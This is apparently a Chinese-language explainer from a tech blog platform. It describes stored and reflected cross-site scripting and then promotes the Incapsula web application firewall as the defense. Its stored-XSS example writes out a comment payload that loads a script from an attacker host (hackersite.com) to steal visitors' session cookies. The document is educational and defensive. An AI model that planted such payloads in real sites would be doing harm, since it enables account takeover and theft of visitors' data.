专栏首页黑白安全跨站点脚本(XSS)攻击

跨站点脚本(XSS)攻击

什么是跨站点脚本(XSS)

跨站点脚本(XSS)是一种常见的攻击媒介,可将恶意代码注入易受攻击的Web应用程序。XSS不同于其他网络攻击媒介(例如SQL注入),因为它不直接针对应用程序本身。相反,Web应用程序的用户是有风险的用户。

一次成功的跨站脚本攻击可能会对网上企业的声誉及其与客户的关系造成破坏性后果。

根据攻击的严重程度,用户帐户可能会受到危害,特洛伊木马程序被激活,页面内容被修改,误导用户愿意放弃他们的私人数据。最后,可以揭示会话cookie,使犯罪者能够冒充有效用户并滥用他们的私人账户。

跨站点脚本攻击可以分为两种类型:存储和反映。

存储的XSS,也称为持续XSS,是两者中更具破坏性的。当恶意脚本直接注入易受攻击的Web应用程序时会发生。

反映的XSS涉及将恶意脚本从Web应用程序反映到用户的浏览器中。该脚本嵌入到链接中,只有在单击该链接时才会激活该脚本。

什么是存储跨站点脚本

要成功执行存储的XSS攻击,攻击者必须在Web应用程序中找到漏洞,然后将恶意脚本注入其服务器(例如,通过注释字段)。

最常见的目标之一是允许用户共享内容的网站,包括博客,社交网络,视频共享平台和留言板。每次查看受感染页面时,恶意脚本都会传输到受害者的浏览器。

存储的XSS攻击示例

在浏览电子商务网站时,犯罪者发现了一个漏洞,该漏洞允许HTML标签嵌入网站的评论部分。嵌入式标签成为页面的永久功能,每当页面打开时,浏览器就会用源代码的其余部分解析它们。

攻击者添加下面的评论:伟大的物品的好价钱!在这里阅读我的评论<script src =“http://hackersite.com/authstealer.js”> </ script>。

从这一点开始,每次访问页面时,评论中的HTML标签都会激活托管在另一个站点上的JavaScript文件,并且能够窃取访问者的会话cookie。

使用会话cookie,攻击者可以危害访问者的账户,使他能够轻松访问他的个人信息和信用卡数据。与此同时,访问者甚至可能永远不会滚动到评论部分,也不知道发生了攻击。

与反射式攻击不同,在单击链接后激活脚本的情况下,存储的攻击只需要受害者访问受攻击的网页。这增加了袭击的范围,无论他们的警惕程度如何,都会危及所有游客。

从犯罪者的角度来看,持续的XSS攻击相对难以执行,因为定位被贩运的网站和使用永久性脚本嵌入漏洞的网站存在困难。

存储的XSS攻击预防/缓解

Web应用程序防火墙(WAF)是防止XSS和Web应用程序攻击的最常用解决方案。

WAF采用不同的方法来抵抗攻击媒介。在XSS的情况下,大多数将依靠基于签名的过滤来识别和阻止恶意请求。

根据行业最佳实践,Imperva Incapsula的网络应用防火墙还采用签名过滤来应对跨站点脚本攻击。

Incapsula WAF作为托管服务提供,由一组安全专家定期维护,安全专家不断更新带有新发现攻击媒介签名的安全规则集。

Incapsula众包技术自动收集并整合来自其网络的攻击数据,为所有客户带来益处。

众包方法能够对零日威胁做出非常快速的响应,一旦发现单一攻击企图,就可以保护整个用户群免受任何新的威胁。

众包还可以使用IP信誉系统来阻止重犯,包括僵尸网络资源,这些资源往往会被多个犯罪者重复使用。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 反射的跨站点脚本(XSS)攻击

    跨站点脚本攻击(XSS)是一种Web应用程序漏洞,允许攻击者将代码(通常为HTML或JavaScript)注入到外部网站的内容中。当受害者查看网站上的受感染页面...

    周俊辉
  • 新型工控恶意软件Triton卷土重来

    据外媒报道,Triton针对关键基础设施的第二次攻击已启动,此次事件幕后黑手或为某俄罗斯组织。尽管FireEye公司没有公布设施的位置和类型等细节,但其表示,袭...

    周俊辉
  • Hexo安装配置并托管至github

    1.1从官网或者上边提供的百度网盘下载Git安装包,由于众所周知的原因,官网下载十分缓慢。下载完安装即可,中间会让你选择默认编辑器,如果不习惯Vim推荐Note...

    周俊辉
  • Google Optimize使用指南(2018)

    虽然站点已经有一些关于google optimize的文章,但是仍有不少的人问这方面的问题,在这里再写一篇关于优化工具的内容,偏重于部署实施,主要流程都会配备截...

    GA小站
  • 0714-1.5.0-CDSW数据库登录失败异常分析

    Fayson在前面的文章《后台查找CDSW中用户的审计日志》,讲述了如何通过访问CDSW的PG数据库查找用户的审计日志,今天Fayson在1.5.0版本的CDS...

    Fayson
  • vue中一些小坑(1)

    在我们使用vue-cli,搭建项目的时候,其中就有一项是否使用eslint规范代码fengge,在以前的开发中,我自己都没有使用eslint,后来回头想想,代码...

    天天_哥
  • window下抓取密码总结

    无论是在我们渗透测试过程中(授权的情况下)还是在自己搭建的环境中进行攻防演练,获取服务器的明文密码或这hash值这一步骤非常重要,如果抓取到的密码是整个域内服务...

    用户1631416
  • 独立博客搭建系列1:使用 hexo 搭建一个精美博客,并部署到GitHub Pages

    https://github.com/ppoffice/hexo-theme-icarus

    Java技术江湖
  • 在 Android 中如何确定 App(Activity) 的启动者

    最近在帮忙定位一个问题,涉及到某个应用自动启动了,为了确定是谁调用的,使用如下的日志进行查看(注:为了简单考虑,下面的启动者为launcher)

    技术小黑屋
  • 区块链中常用共识算法总结

    实际使用过程中,每个节点需要打包的交易数据相同,再从尾部加一个随机数(节点自己选)作为整体输入来求输出值,把结果和当前的挖矿难度对比(要求输出值前x位为0),满...

    洞链

扫码关注云+社区

领取腾讯云代金券